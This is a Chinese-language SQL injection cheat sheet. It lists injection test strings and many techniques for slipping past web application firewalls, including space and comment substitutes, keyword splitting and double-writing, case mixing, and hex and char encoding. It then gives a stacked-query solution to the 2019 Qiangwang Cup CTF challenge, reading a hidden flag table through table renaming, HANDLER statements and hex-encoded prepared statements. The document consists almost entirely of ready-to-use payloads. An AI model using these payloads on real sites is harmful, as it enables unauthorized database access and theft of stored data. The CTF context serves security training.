sql注入绕过,超详细!!
1,测试注入
1' or '1'='1
1 or 1=1
1') or ('1')='(1
'or''='
id=2-1
2,waf绕过=
(=) -> like 1' or((1)like(1))//模糊匹配
select * from users1 where username <>111//排除111
select * from users1 where username >111//大于111
select * from users1 where username <111//小于111 字符串
select * from shop_goods where id in(1,2,3)//在这个范围内的数
SELECT * FROM `shop_goods` where between 1 and 2在这个范围内
ascii函数 hex()->16进制
ord()->ascii码
bin->二进制
sleep函数
benchmark()//-?sekect benchmark(100000,(1=1))//尝试多次执行,而且是仅支持查询结果是单行时,否则会报错
空格绕过使用()
-> select(table_name)from(information_schema.tables
where(table_schema)=('xxx')--+
空格用+绕过 ->id=1+order+by+3--+
%20、%09、%0a、 %0b、 %0c、 %0d 、%a0、/**/ 、/* ! */
or-> ^
引号绕过
1,char->ascii
select * from users1 where username = concat(char(114),char(108),char(121))
使用concat函数将char将ascii码转为相应字符,随后用concat连接
2,16进制编码
select * from users1 where username=0x726C79
逗号绕过
join语句
select * from (select user())a join (select database())b
sql预处理语句
prepare statement_1 from 'select * from test where id=?';
set @id=1;
EXECUTE statement_1 using @id;
注释绕过 and 关键字分割 and 大小写绕过
SelECt username,password fRoM users;
?id=1 uni/**/on sele/**/ct 1,2,3#
id=1? un//ion sel//ct 1,2,3#
select/**/user();
sele<>ct username,password fr<>om users;
and or 后绕过
如果是and/or后面的空格需要绕过的话,可以跟上奇或者偶数个!、~来替代空格,也可以混合使用(规律有不同,可以自己本地尝试),and/or前的空格可用省略
SELECT * FROM `shop_goods` where id =1 and----1=1偶数个----
SELECT * FROM `shop_goods` where id =1 and!!!!1=1 //偶数个!!!!
SELECT * FROM shop_goods where id=1 and~~1=1 //偶数个~~
双写绕过
' || oorrder bbyy 3 # or 被绕过
' ununionion seselectlect 1,2,3 #
'ununionion seselectct 1,2,database()#
``符号
首先,这个符号用作区分MySQL关键字与普通字符
CREATE TABLE `desc` ( //desc是MySQL关键字
id INT(10),
username VARCHAR(255)
);
其次,当我们查询的表是纯数字时,我们需要用到这个符号例如
强网杯2019 随便注 //这道题目过滤了select
BUUCTF在线评测链接
方法一:改名
1';show tables#
1919810931114514 and words
1';show columns from `1919810931114514`;#
flag
//思路1
1';rename table `words` to `words1`;rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);#
//思路2
1';rename table `words` to `words1`;rename table `1919810931114514` to `words`;alter table `words` add id int(10);alter table `words` change flag data varchar(20);#
方法二://handler
1';show tables#
1';handler `1919810931114514` open;handler `1919810931114514` read first;#
网上还有这种办法,但我觉的没必要,上个句子能查出来的,多加一个变量多此一举了
1';handler `1919810931114514` open as `a`;handler `a` read next;#
方法三: 编码+预处理语句
1';show tables#
语句select * from `1919810931114514`->
0x73656C656374202A2066726F6D20603139313938313039333131313435313460
1';Set@a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;
prepare execsql from @a;execute execsql;#